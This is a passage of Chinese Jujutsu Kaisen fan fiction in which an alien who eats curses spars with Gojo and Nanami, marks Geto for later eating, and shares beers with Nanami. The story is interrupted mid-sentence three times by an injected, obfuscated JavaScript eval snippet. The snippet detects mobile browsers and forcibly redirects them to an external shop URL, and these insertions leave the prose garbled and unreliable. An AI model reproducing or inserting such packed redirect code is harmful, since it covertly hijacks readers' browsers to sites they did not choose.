“波兰泡芙蛋糕,上次售空的。” 我回头看了看五条悟,考虑到身高的问题我不得不仰上一点脑袋。 “辛苦你了~艾利酱。” “不要这样叫我。”我端起面前的蛋糕底座,小心翼翼的将整个蛋糕摆放在被我码列整齐的零食群上方。 “不要。”五条悟又学我说话。 七海建人挑了一根法棍,他一直单手抱着它,不肯让五条悟把它插花似的插进满满当当的购物车里。 接连三天的光顾和显眼的造型让五条悟跟收银员混成了熟人,连带着我也被她记住了。 “感情真好呢,刚搬过来吗?” “他不是。”我指了指五条悟。 走出超市的时候七海建人还想着刚才的对话,看着两道兀自向前走去的身影,他一时有些恍惚。 他取下眼镜,揉了揉眼睛。 做完他才意识到自己做了个多孩子气的动作,他一边在心里吐槽着这次居然不到一小时就被五条悟传染了,一边重新将眼镜扣回眼窝,余温还未散去的金属鼻托也回到高挺的鼻梁上,那里有一处因持续积压形成的小小凹陷,因为痛感不明显,连本人都没有发现。 他已经不记得自己是从什么时候习惯戴眼镜的了,哪怕不需要认真看清这个世界。 成年后的时间总是过得比少年时要快,变化也来得更轻而易举,轻飘飘的,像是故意不想让人察觉,等回过神,皱纹已经爬上长期拉扯的肌肉表面。 “七海先生走丢过吗?”我问五条悟。 我们围观了七海建人取戴眼镜的全过程,我刚打算叫他跟上,五条悟却一手包住我的后脑勺把我的脑袋转了回去。 然后就听见他小声说要让七海先生长个教训,所以才有了我接下来的问题。 “有吗?”五条悟有点喜欢用问题回答问题,我不喜欢这种说话方式,但我觉得他也不会改,所以我也懒得说了。 说到底,他想怎样说话,我也根本无所谓,只要不总是学我说话就好了,但这个要求对他来说也是为难,所以还是算了吧。 “如果现在就让我吃掉你,我就能通过摄取细胞里储存的记忆信息告诉你有还是没有了。”我一本正经到。 “...” 五条悟居然沉默了,我从他脸上读到一种介于无奈与困惑之间的情绪。 他张张嘴想说什么,我盯着他的口型,最后只发现他好像涂了无色唇膏? 七海建人就是在这个时候跟上来的,随后他便拒绝了和我们一起回家的邀请,临走前他问了我一个很奇怪的问题。 他居然问我有没有成年——以我的种族平均年龄来算。 我没有说我从未见过和我一样的存在,因为这在人类的观念中是很悲伤的一件事,善良的人类哪怕只是听闻他人的不幸都会感到痛苦。 我没有吃掉七海建人的打算,但我也不想从他身上闻到那种悲伤的情绪,就像刚才那样。 “在我的种族里,我已经是可以住进博物馆的老东西了。” 仅此一件的存在,的确很适合放进博物馆。 听见我的回复,七海建人表示他没有问题了。 五条悟笑得捂住了肚子。 “那家伙在关心你哦。”从豪放笑声中恢复过来,顺便直起腰的五条悟说。 “嗯,我知道,询问年龄是大人关心小孩子的方式,我这张脸看上去的确不够成熟...和七海先生比起来。” “七海会伤心的。” “不会的,七海先生没有扮嫩的取向。” 说完我才意识到这话可能会误伤五条悟,尽管从事实层面上来说也不算冤枉他,但我的确没有这个意思。 “抱歉,我没有讽刺你的意思,虽然你经常说一些与年龄不符的话。” “后面那句有必要说吗。” “对不起,下次不说了。” “好狡猾...这样我就变成坏人了啊。”五条悟懊恼道,这时他又展现出符合年龄的成熟来了,刚才还夸张到令人侧目的表情,转眼又回归平静,“艾利恩应该知道人类是两性繁殖的生物吧。” “这是常识。” “然后呢,艾利恩现在是女性——如果没猜错的话。我不巧是男性。七海是这种关心。” “我明白了。”我点点头。 非常巧,这个知识点我昨天才学到过。 “‘我好歹也是男人啊’——悟是这个意思对吧?” “悟不是。”五条悟果断否认,“外星人都像你这么好学吗?” “‘我好歹也是男人啊’是乙女游戏男性角色台词出现频率NO.1,刚才那种场景很适合由你说出来。” 见五条悟还是不接话,我以为他没听懂,又补充道: “悟的身高在人群里很突出,身材比例也很完美,你的同类应该很青睐你这一点。” “长相也经常引起异性的讨论,如果作为女性的我没有出现在你身边,被异性搭讪的机率是百分之八十五,剩下百分之五应该是出于自卑心理不敢靠近,未计入统计的是不关心外表的人类。” “外貌在人类的择偶标准里占据相当大的比例,与此同时,你显眼的发色和特殊的能力设定也很符合乙女游戏开发者的角色设计。” 五条悟张了张嘴,眼睛虽然被镜片挡住,大不影响我看到他眨了眨眼,他似乎呆住了,因为我说的话。 不习惯听人夸他?真意外。 “还有呢?” 原来是没听够。 “虽然每个人都有属于自己的个性,但悟的个性非常突出,有人会觉得你非常有趣。” “听说你是老师...应该是叫‘反差’吗?老师总是给人一种要么严肃要么过分亲和的感觉,但悟哪种都不是,所以会让人有些意外,‘反差’的特点会让你更受欢迎。” “以及...虽然我见过的咒术师只有你和七海先生,但你应该很强,强者总是受人仰慕。” 这次他沉默的有点久,不说话,视线却一直落在我身上,嘴角擎着笑。 我们已经走到楼下了,月亮还没被高层建筑挡住,好巧不巧的,正悬在他的头顶,至少从我的角度看过去是这样的。 透过名为五条悟的人类,我第一次看见了月亮——是的,只有在地球上月亮才是月亮,哪怕这轮白色的光晕与我在外太空看见的灰色星球本质是同一个个体,但有时候本质也说明不了什么。 来到地球的第一个月零六天,我终于明白表象意味着什么。 名字也是表象,而且是人为赋予的表象。 多么富有想象,偌大的宇宙之中,居然只有这颗蓝色星球上、只有名为人类的个体,想过为一颗黯淡了数亿年的星体取一个名字,并且毫不吝啬的将他们所能想到的美与寂寞都赋予给了它—— 仅仅只是因为他们看见的皎洁的表象,那甚至是假象。 月光本不存在,光是它从太阳那偷来的。 “日本人会用夸赞月色的方式来告白,既然要表达喜爱,为什么不能直接夸夸对方呢?真的只是因为害羞吗。” “喜欢、讨厌、憎恶、爱——全部都是诅咒哦。” “因为不想诅咒对方,所以就诅咒月亮吗?人类还真是自私。” “来自月亮的咒灵吗,有的话还真想看看。” “咒灵跟咒术师是敌人吧。” “我们是敌人吗?” “我又不是咒灵...为什么我们的对话连一个回合都坚持不下来,你是故意的吗?” “抱歉,总觉得不管怎么说艾利恩都能理解,干脆就想到什么说什么了。” 回到家,谁也没去开灯,虽然我跟五条悟谁也没瞎,但谁都不靠眼睛看东西,一时间就真没人想过要开灯了。 对于五条悟的问题,在吐槽完他毫无逻辑的接话方式后,我还是回答了。 我说如果他自愿被我吃掉,那我们就不是敌人。 他问我真的有这种人吗? 我说有的,虽然不是人类,但那也是有思想的个体。 那是我第一次遇见的,自愿被我吃掉的‘食物’,在此之前我甚至没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159520|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有想过这种可能性—— 我难免有些好奇,我问他为什么。 他说因为这个世界让他太失望了。 他说他决定要么毁灭,要么离开。 我非常生气。 “你有试过摧毁一个世界吗?”我这样问他。 他当时已经瞎了,但瞎子也能流泪。 他无疑是在哭,哭声像沙砾划过冰川。 我不知道那时的自己是怀着怎样的心情吃掉他的,作为食物,他居然比进食者更享受被吃掉的过程,我试图用痛苦让他表现出正常,但他没有给出任何反应,直到我从人类字典上看到‘麻木’这个词。 紧接着,我又翻到了‘理解’。 在问完那个问题之后,我是怀着‘理解’的心情对他说出那句话的。 “是吧,糟糕透了吧。” 讽刺的是,那是我吃过最美味的食物,可我却没有产生与之匹配的愉悦。 因为他的自愿,与快乐无关。 “五条...悟。”从见面开始,这是我第二次连名带姓的叫他。 “你要自愿被我吃掉,而且要是快乐的。” “太任性了吧。” “让你讨厌了吗?” 五条悟莫名想到刚才一连串真心实意的夸奖,他才发现自己原来这么好收买。 “艾利恩没有被人讨厌的经历吧。” “嗯,所以我才问你。” “我也一样。” 一样没有被人讨厌过吗?不可能吧。 我没有被讨厌的经历只是因为我与人相处的机会太少,还没来得及产生激烈的情绪,就从彼此的生命中消失,至于我的食物...我几乎不在它们跟前露面,像五条悟跟那个人的情况,只是极少数。 五条悟有时会说一些让人听不懂的话,我已经习惯了。 当天晚上他没有住在家里,因为有需要离开东京完成的任务,他得提前出发。 临走前他朝我挥了挥手,然后钻进一辆黑色的轿车,有个穿着西装、给人的感觉和七海先生有点相似的男人板正的坐在车里,他看上去很紧张。 透过汽车的反光镜,他悄悄观察着我,不巧被我发现。 他就像被什么东西电了一下似的,连忙移开视线,同时把方向盘握的更紧了。 车里传出五条悟愉悦的笑声—— “艾利酱,伊地知被你吓到了哦!” 他说的理所当然,好像我生下来就该知道伊地知是谁,我发誓这是我第一次听到这个名字。 “抱歉!伊地知先生!”趁车还没开走,我大声跟车里的人道歉。 “没、没关系!” 是一个成熟男性的声音,但慌乱让成熟变得名不副实,就像五条悟和他的年龄以及职业一样。 把购物袋里的东西分类放进冰箱或者储物柜,我走出家门,碰到了下班回家的小野先生。 他笑容疲惫,但还是打起精神跟我打了个招呼。 “辛苦了。” “五条先生呢?去工作了吗?” 我点点头,“我们刚刚才分开。” 小野先生的笑容里多了几分真心,“真好呢,不会被工作拖累的感情,真羡慕啊。” “羡慕我吗?”现在的我偶尔也能跟他聊上两句。 “羡慕...五条先生吧。”他自己都不确定了,“那个,我不是说自己的意思啦,再说我一个连恋爱都没谈过的人...啊,过了今年就要二十九岁了,再这样下去...” 小野先生一边碎碎念一边开门,他甚至忘记跟我道别,像他这样的人可是很讲礼貌的,但他实在是太专注了。 连五条悟都觉得小野先生是个奇妙的人,明明看上去比谁都消极,但连蝇头这样的小咒灵都不会扒上他,他也是个表里不一的家伙呢。 “加油。” 表里不一的小野先生。 · “这就是你的计划吗。”电话另一头的七海建人道。 五条悟一手撑着窗边,闲下来的手搭在膝盖上,就是不肯好好握着电话,惹得开车的伊地知总忍不住透过后视镜看他。 “真是个好计划——对吧?” “你问过艾利恩小姐吗?” “当然。”五条悟回答的理直气壮。 “...我就不问你是怎么问的了,如果她愿意主动出手,我也会感激她。但是总监部的部分你打算怎么办?” 电话那头过了一会才出现声音,七海建人甚至挪开手机确认了一眼通话是否还在继续。 “...七海先生,是我。” “伊地知先生,有什么事吗?” “我的意思是...明天跟你一起的人,是我。” “原来如此,辛苦你了。” “不不不...七海先生才是。” 直到电话挂断,五条悟这个手机的主人都没有再出现。 据说五条悟接下来三天都不会再回家,处理完外地的任务后,东京这边还有一件必须由他来处理的事情——无论是他自己,还是其他人,都是这么认为的。 于是,在一个依旧没有超市活动的晚上,我照例选择出门。 这次我走的远了些,目的地也不再是荒无人烟的郊外,而是热闹的商业中心。 咒灵有时也会出现在人流密集的地方,哪怕不是人群中心,但因为情绪强烈,所以如果在附近找找的话,说不定也能发现咒灵。 五条悟说的没错,我很快就在周围闻到了咒灵的气息,而且相当强烈,比他推荐的几个地址还要强烈。 我不想让自己的目的来的太明显,因为五条悟说过,在狩猎咒灵的时候,如果引起太大的反应,可能会被咒术界人士发现——那是一群比普通人还麻烦上百倍的家伙。 所以我控制着步频,让自己看上去跟周围逛街的人没什么两样,甚至还买了份可丽饼作为伪装—— 很快,我就看到香气...或者说咒力的源头。 在看到他的长相时,我有些惊讶,虽然没配合露出什么特别的表情。 擦肩而过时,他当然没有注意到我,但这里也不是适合进食的场所,而且这个人... 我很少有这么纠结的时候,说起来都怪五条悟。 等那人走远了,我才找到一处僻静,打通了来到地球以后的第一通电话: “悟。” “嗯嗯~怎么了?” “我可以吃掉夏油杰吗?” 电话那头沉默了。 5. 想吃的第五天 “哪个夏油杰?”总不能是他认识的那个吧。 难道是同名同姓?五条悟这样想着,毕竟夏油杰的名字从艾利恩嘴里说出来也太奇怪了,简直就像美少女战士说出美国队长的台词一样。 别说水冰月和史蒂夫·罗杰斯国籍不同,他认识的这两甚至不是同一个物种! 而且艾利恩不是说不吃人——等等。 她的确是不吃人,但某人的术式... “原来如此!” 五条悟右手敲在左手掌心,有种茅塞顿开的感觉! ... ... 然后呢。 如果真的是他认识的那个夏油杰,和现在这个正在跟他打电话的艾利恩遇见了,应该怎么办? 与此同时,我以为是自己没说清楚才导致五条悟问出这个问题。 也许夏油杰是一个很大众化的名字,我对日本人的姓名还是研究的少了。 “就是照片墙合照上的那个,嗯...头发虽然变长了很多,气质也变了,但我确定没有看错,而且他旁边的女生叫他的时候有带上‘夏油’这两个字。” “哦~你观察的还蛮仔细的嘛。”五条悟故意用玩笑的口吻说,似乎这样就能让气氛更加轻松。 只可惜当时的我没有听出他的用意,只当夏油杰是他一位久未谋面的故交,虽然这样的说法也不算错。 “所以...可以吗?” “艾利恩为什么会想到要问我的意见呢。” 为什么会想到问他...其实应该是我为什么决定问他才对。 五条悟自己也清楚,我大可以自己找机会动手,我的触须足够隐秘,不附加咒力的话,除了五条悟,大概没有人能发现我的动作。 也不需要担心某人的突然消失会害我暴露,我的控制距离够远,大可以找个地方躲起来,只靠触须完成进食,而且我会吃的很干净,不留下一点残渣。 但有时候,不留任何痕迹,也是一种‘痕迹’。 排除掉失踪的可能性,如果真有一个人——还是一个人实力不菲的人就这么消失的无影无踪,了解我能力的五条悟大概很难不对我产生那么一点怀疑。 而我没有能洗清怀疑的自信。 所以我不得不面对一个问题,在得知我吃掉了他的好朋友,哪怕是很久没有联系的朋友,五条悟还会不会心甘情愿的、高高兴兴的被我吃掉,哪怕不是现在。 “因为我瞒不住你。”我老老实实交待。 “哈。”五条悟没有在笑,不如说他是想笑的,但惊讶之下居然没能笑得出来。 “只要是能做到的事就会去做——艾利恩是这样想的吗?”他转而问我。 “能做到的事为什么不做?” “变成哲学问题了欸。”他不经意的拖长句尾,又耍赖。 明明是这家伙自己提的问题。 “好吧,我知道了。” “嗯?什么?”五条悟语气轻快的问着。 “你的回答。” 说完,我挂断了电话。 我没有在现场吃掉夏油杰,但我在他身上留下一处标记。 等到五条悟心甘情愿进了我的肚子,再让他的好友下去陪他。 一开始我是打算把作为标记的触须藏进他的长发里的,但想到人类也会像猫狗一样掉毛,还有人喜欢在无聊的时候拔掉自己的头发——我不知道夏油杰有没有这种兴趣爱好,但为了避开这重风险,我还是换了方案。 我把触须藏进人类最重要的器官里了,只要他没有闲来无事把脑子挖出来拿在手上把玩的爱好,我的计划就是万无一失的。 除此之外,我对夏油杰还有一些无关正事的好奇,我想知道他的香味来源。 和五条悟不同,我闻到的不是属于他自己的‘咒力’,而是咒灵独有的味道。 我想到两种可能性: 其一,夏油杰是混血种,一半血统来自人类,一半血统来自咒灵。 其二,他已经被咒灵腌入味了。 由第二种可能性衍生两层猜测,他要么和我一样,也是五条悟口中的异食癖,要么常年跟咒灵住在一起,浑身上下都是咒灵的气息。 结合五条悟身为咒术师的立场和他让人忍不住多想的态度,目前我倾向于后者。 他应该是背叛了人类,选择跟咒灵为伍了。 因为如果只是喜欢吃咒灵的话,他应该相当受咒术师欢迎才对,就像五条悟对我一样,我觉得他把我当成会主动打扫咒灵的吸尘器了,这样的想法很不礼貌,但这小子绝对有在这么想。 至于他临走前透露给我的‘咒灵喜欢出没’的地带,多半是他们的任务地点。 走到商业中心的边缘地带,我看见一座荒废的百货大楼,应该没有荒废太久,很多招牌还没来得及撤走,卷闸门上也有很多暴走族的涂鸦标识,另一种意义上的有人气。 我在入口处听到两道熟悉的人声,出于礼貌,我主动跟两人打了招呼: “七海先生,伊地知先生。” 黑暗已将入口吞噬一半,剩下的一半被我身后的路灯灯光驱散。 我没有使用咒力,七海先生用普通人类的视力认出我,伊地知先生则凭借声音。 “初、初次见面,艾利恩小姐。” “初次见面,是五条悟叫我来的。” 也不算撒谎,只是那家伙还没缺心眼到直接把准确的地点告诉我。 “欸?五条先生居然...”伊地知没有怀疑我的话,他只是有点惊讶。 “艾利恩小姐能看到帐吗?” 七海先生用看似无关的话题打断了伊地知先生,只是为时已晚。 “‘帐’...是用咒力铸成的壳吗?” “没错。” 难怪两人就这么光明正大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159521|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在门口,一点不避讳,有那样一层东西作为屏障,无论里面出现什么物理学无法解释的异常现象,都不会被普通人发现吧,只要不闹得太过分。 “伊地知先生负责隐瞒情报?”我冷不丁看向默默后退的人。 “情报?”他还没反应过来。 “关于我的情报,伊地知先生负责的应该是‘联络员’之类的工作吧,您没有携带武器,穿的衣服也不适合战斗。” 伊地知下意识低头检查自己的穿着,西装领带规规矩矩的套在身上,没有扣错衬衫扣子,领带也没有歪,姑且还是挑不出毛病的除了... 唔。的确不适合战斗。 “抱歉。”他丧气道。 “不,只是负责的工作不同,伊地知先生不需要道歉。” “艾利恩小姐...” “但如果是因为和五条悟一起策划这起针对我的阴谋——那我接受了,你的道歉。” 伊地知看上去快哭了,七海先生拦在他面前,让他先行离开,自己则留下来独自面对我。 “是因为我看上去对人类没有兴趣吗,所以你们才会产生‘无论对我做出多失礼的事情,大家都能相安无事’——这样的想法。” “‘天真’...我一直以为,不会有机会把这种词跟七海先生放在一起。” “果然还是‘人不可貌相’吗?” · 属于人类的词汇不断从‘祂’的嘴里冒出,祂甚至连教学视频读音示范的语调都完全模仿出来,正常人是不会这么说话的,这个高明的表演家一直很清楚,而在此之前,祂也从未露出破绽。 配合身后贴心附上咒力的触须,祂的用意已经很明显了。 七海建人解下领带,以时间作为规则订立的束缚开始生效。 ‘没关系~艾利恩酱对普通人类没有兴趣,而且她脾气很好哦,不会因为这种小事生气的。’ 不会生气? 事到如今,他已经不想追究五条悟到底是哪来的自信了。 他只希望至少前半句话还值得信任——哪怕祂似乎亲口否认了这点。 是相信那个平时不着调、但关键时刻还算靠谱的家伙,还是相信这个一直表现的表里如一、现在也学会用谎话蒙人的怪物? 七海建人已经没得选了,他已经做出了选择,所以才会出现在这。 但是战斗吗? 完全...没有必要吧。 他没有怀疑,如果他们没有做出这场戏,如果祂没有看穿他们的目的,祂的确不会生出对人类出手的心思,毕竟这一个月来,死在祂手上的也只有咒灵。 ‘这样想的话就被艾利酱骗了哦~’ ——五条悟是这么说的。 难道不是自相矛盾? “艾利恩小姐,您现在是什么意思?”七海建人甚至还用着敬语。 只能跟自己跟祂确认了。 6. 想吃的第六天 世界上存在着‘信任’这种东西。 孩子信任母亲,学生信任教师,朋友之间相互信任,与之相对的,则是不信任。 没有同类又四处流浪的我,比起信任,自然是更熟悉不信任的,当然,如果可以的话,我还是希望自己能轻易获取一些信任,这也是为什么我很少撒谎。 但也没有那么需要。 所以我真的没有因为这个生气,之所以表现出生气的样子,还是想让通过七海先生的转述让某人知道,我能给出的妥协,也是有限度的。 他如果不相信我,大可以直接说。 我尊重他的意愿,不代表我要陪他玩这些无聊的把戏,身为人类,他或许是认为这样测试出来的结果更直接可靠,却没想过我会不会觉得麻烦。 “我也不是什么问题都必须回答的吧。” 孩子气般的抱怨让七海建人迟疑了一瞬,在战斗中分神无疑是大忌,但或许正是因为他还不确定这是否是一场他熟悉的战斗,所以哪怕抱着绝对的谨慎,松懈还是出现了。 散发着蓝色幽光的触须在祂身后散开,又猛的向他袭来,蓝光与黑暗交界处的晕影像是流星的拖尾—— 七海建人当即抬手,试图用咒具挡下这来不及躲闪的一击。 不行。 太慢了。 勉强削掉一节直冲面门的触须,七海建人当即转变策略,将用于攻击的咒力收回包裹至全身,形成更强的防御。 针雨般继续袭来的触须就此交汇——不在他面前,而是身后。 同时在耳边响起的,还有咒灵的尖叫。 · 好吧,我还是有点生气,虽然只有一点。 触须将那只咒灵带至我身前,因为我们就站在彼此的对面,七海建人也看的清楚。 “就是这个吗,七海先生?” 触须裹成蚕茧,卷住咒灵的下半部分,剩下的一半倒吊在空中,随着我动作咒灵在空中晃了晃。 “没有...我没有钱...手指...也没有了...”咒灵颤巍巍的哭诉着。 见我没有再攻击的打算,七海建人放下挡在面前的手,附加在咒具上的咒力也没有之前猛烈。 是被耍了,还是祂临时改变主意? 七海建人没有回答,继续默默观察,不放过一丝变化。 “这个玩笑并不好笑,艾利恩小姐。” “我也没有开玩笑。”得不到回应的我将咒灵露在外面的部分也吞掉,空荡荡的大楼恢复安静,除了残余的水滴顺着断裂的管道砸在水泥面上。 “但是因为一点小别扭就气的砸玩具车,是还不会说话的小孩才会干的事情。” “我会说话,也不是小孩,仅此而已。” 什么仅此而已,根本不知所谓。 七海建人重新打好领带,给等在楼外的伊地知发去消息。 至于伊地知本人——他后知后觉的反应过来是自己失言暴露了计划,此刻已经快把五条悟的电话打爆了,直到第七十九通才等到那头传来不以为意的应答: “工作的时候再无聊也不要只打我一个人的电话啦,小心我跟七海告状哦~” “五条先生!” “嗯嗯,怎么了?” “请您快点过来,七海先生、七海先生他——” 听到伊地知不似作伪的慌乱,哪怕知道这位后辈有时喜欢大惊小怪——尤其是在七海面前,此刻的五条悟也正了心神。 “现在在哪?” 伊地知报了目前的位置。 最后一个字符还没说完,耳边就只剩下无机质的忙音,伊地知只觉得感激,这意味着五条悟会尽全力赶过来。 尽管如此,他还是紧张的握着手机,完全分不出心思查看七海发来的消息,只死死盯着黑漆漆的建筑,那布满表面,如同黑洞般要将一切都吞噬殆尽的窗口。 安静...但好像,太安静了。 战斗结束了吗? 那七海先生该不会.... 伊地知额角蹭出更多冷汗,一阵风吹过,冷的他几欲颤抖,原来是后背已经浸湿,被风一吹就凉的惊人。 就在这时,电话铃声突然响起。 伊地知几乎是靠条件反射接通的电话,不等电话那头的人开口,他以平生从未有过的语速主动问道: “五条先生您到——” “是我,伊地知。” 听着熟悉而沉稳的声音,刚刚还觉得冷的伊地知猛吸一口气,狂跳不止的心脏让出口的关心都颤抖不已: “太好了,您没事吧七海先生?那个...” 他原本想说艾利恩小姐,但又想到她方才对两人出手的事情,一时不知该以何种立场称呼此人。 “我没事,艾利恩小姐跟我一起。”却是七海建人替他补上拿不定主意的称谓。 “欸?”伊地知站在冷风里,整个人凌乱了。 是他错过什么了吗?还是七海先生失忆了? 该不会刚才那些都是他一个人在做梦吧? 搞不好现在也是做梦。 伊地知掐了把自己的脸颊,痛感让他确定这是现实,可还不等他把手放下,接下来的发生的现实又让他觉得还是做梦比较好。 “伊地知,你在干嘛?七海和艾利恩呢?” 伊地知慢半拍的回头,却见五条悟揣着兜慢悠悠的朝自己走来,手腕上还挂着个塑料袋。 伊地知已经不想问他那是什么了。 “七海先生...还和艾利恩...小姐在一起。” 看着他虽也不正常,但好在也不像刚才电话里那样慌张的样子,五条悟放心了。 “当然了。”边说边走到伊地知跟前,还伸出一只手趁他不注意戳了戳他的脑门,“不管是打的不可开交,还是分出了你死我活,那两个人肯定是‘一起’的吧,所以我才问你他们去哪了。” “伊地知你工作太不认真了,我绝对会跟七海告状的哦,绝——对——。” 伊地知躲闪不及,被戳的闭了闭眼。 “不,刚才的情况的确很危及,虽然七海先生说他已经没...” 等一下,五条先生说会跟七海先生告状,那不就意味着... “五条先生已经知道了吗?” 五条悟心说看你这样子谁还猜不到结果,但又不愿意放过这个捉弄后辈的机会。 “知道什么?” 伊地知这下确定他是在明知故问了,心脏做了一晚上的过山车,此刻也变得比平时大胆,竟直接忽略了五条悟的问题反问他—— “五条先生,你想过艾利恩小姐会生气的可能性吗?” “不要小看她啊,外星人也是有‘心’的,也是会生气的哦。” “那为什么——” “但谁也说不好那种家伙到底什么时候会生气,生气以后又会做些什么,好麻烦啊,艾利恩酱。” 五条悟对着空气,抱怨着不在这里的人,无所谓回应的他在自说自话这件事上有着不输咒术的天赋: “偏偏又被她盯上了,别看那家伙一副无所谓的样子,平时一声不吭的家伙,想惹麻烦的时候可比谁都难搞哦...所以!” 伊地知被他突然拔高的音调吓了一条,但也没有什么反应,今晚的他,对于惊吓,已经习惯到可以与之和平共处到世界尽头了。 所谓人生,大抵就是这么一回事吧。 伊地知甚至开始走神了,要知道他可是从未在工作时间内走过神的,一定是因为五条先生的诅咒吧,因为他说他工作开小差——还说了两遍,所以他也真的开始心不在焉了。 不愧是最强,连诅咒都这么在行。 “姑且在一切还能控制的时候,给我们艾利恩酱一次发泄的机会。” “不...可是...如果不是五条先生的安排,按照艾利恩小姐平时的样子,根本不需要这样的机会吧。” “哼嗯...谁知道呢,这种看不出想法的类型。”五条悟又把手插回口袋。 “好!现在就让我们去找那两个临时早退的坏孩子吧,伊地知,你来开车哦。” 不需要五条悟提醒,伊地知已经自觉打开车门,坐上了驾驶位。 只是双手把上方向盘的时候,回过神来的伊地知还是小声在心里嘀咕一句: ‘居然说七海先生是小孩子...’ “嗯?什么?你说什么?” “什么都没有!” 他说出来了吗?! “果然在心里骂我对不对!你完蛋了伊地知,我会把这件事跟你开小差的事情一起告诉七海...不,还有硝子和夜蛾校长。” “抱歉!请不要这样!” · 迟迟等不到伊地知先生,原本只是觉得大晚上站在荒废的百货大楼门口又不说话太诡异、临时决定去旁边的居酒屋坐上一会的七海先生和我,终于在老板几次徘徊的眼神中点上两扎啤酒。 我是喝不出什么的,但七海先生说风味意外的不错,于是我也又尝了两杯,在店长和七海先生无声的惊讶中,面无表情的放下比脸还大的啤酒杯—— “还是没有感觉。” 店长愣住了,随后高兴的又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159522|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端出一扎,我礼貌性的伸手准备去接,结果这人一个拉拽,就将新满上的啤酒推到七海先生面前。 在我喝完那三杯啤酒的时候,七海先生也喝完了和我一起点的那些。 但他也面不改色,我想他应该就是‘酒量很好’的那一类人。 是因为咒术师的身体素质更强吗?所以连代谢酒精的速度都比一般人快,还是容量的问题呢,但不管怎么说... “五条悟的酒量也这么好吗?” 抿完一口新鲜啤酒,散发着淡淡啤酒花和麦芽香气的七海先生平静的说:“不,那家伙完全不行。” “为什么?” 他像是猜到我为什么会这么想似的:“酒量与咒力没有关系。” “哦...原来如此。” 然后我就说出了让我后悔一整晚的话—— “虽然都是咒术师,但七海先生跟悟和伊地知都不一样,悟就不用说了,他在人类眼里估计也算得上异类吧,伊地知先生虽然也穿西装,但总感觉...应该没有真的进过那座会把人吃掉的写字楼,啊,‘吃’的意思是...” 砰。 随着一声不大不小的闷响,我瞥见七海先生把见底的酒杯搁在桌上,对他来说有些粗鲁的动作。 我默默目移。 “已经足够了,艾利恩小姐。”七海建人说。 “嗯?”我还是第一次无法理解七海先生的话。 毕竟在我的印象里,他一直都是很‘正常’,很‘好懂’的人类,他遵守的规则跟大部分人没有区别,我所有偷师来的经验与规律在他身上通通适用,有时我甚至觉得比起咒术师,他更像我那些只有一天的缘分的前同事。 “我完全理解你的意思,你想说的就是‘工作’吧,普通人会做的工作,虽然这么说也不够准确,但是...” “啊,是的,不要再...” 不要再说了,不要再让我回忆起那个地方了... 我微弱的制止没有起到任何效果,也许是因为已经被酒精与旧怨夺走部分理智的七海先生已经听不见我这点阻拦了。 “工作就是狗屎,在哪都一样。” 他镇定而沉稳的总结。 ‘狗屎’? 是我想的那个吗? 犬类的粪便...是这个意思吗? 是比喻对吧,把工作比喻成狗屎,因为七海先生很讨厌工作? 我好像理解了。 “所以你才会选择成为咒术...” “咒术师也是。” 也是什么?也是狗屎吗?犬类的粪便? 我眨了眨眼,没来得及闭上嘴,甚至忘记自己根本不需要用‘眼睛’去看——但我还是和正常人类一样,转过头去看七海建人。 他脸都没红,看不出到底醉没醉。 可能不管醉没醉,都不影响他的结论吧。 话说到这里,我好像该问问他为什么还是选择成为咒术师了。 但我自己也开始恍惚,说到底,我应该不会在意这些才对,刚才的那些问题,到底是出于对人类的模仿,还是出于我自己的意志,我有些分不清了。 是因为我在这里停留太久了吗? 但如果用人类的纪年法,只是一个月而已,还不到一年,对比我曾经在其他星球和宇宙中消磨的岁月,这点时间根本算不上什么,更谈不上‘久’。 但我也听说时间是相对的,所以‘久’到底是什么意思呢。 “好久不见啊,艾利酱~你还好吗?” 五条悟突然出现在我头顶,这次他挡住的不是月光,而是居酒屋昏黄陈旧的电灯。 挡住他眼睛的则是白色的绷带,我轻而易举的透过人类的伪装,看见背后的蓝色。 我像是才注意到似的,内心发出迟钝的感慨,原来他的眼睛是蓝色的。 “哈哈,怎么了,你也醉了吗?” “悟,‘好久不见’是这么用的吗?” 我歪了歪头。 故意的吗。 五条悟想着。 这只有点卑鄙的外形生物也学会‘表演’可爱了啊,跟谁学的,小猫吗? 但真的有点可爱啊,明明整天说着吃人的话。 他想的有点久了,对面的人想到了什么,皱起眉,不自觉的鼓起毛豆大福似的腮帮子。 “抱歉,我忘记我还在生你的气了。” “在我消气之前,请不要跟我说话。” “刚才的问题也忘掉。” 没错。 是真的很可爱。 五条悟确认。 7. 想吃的第七天 “我们已经有三天没有见面了哦,整整三天~”五条悟一边说,一边用手指比出数字三。 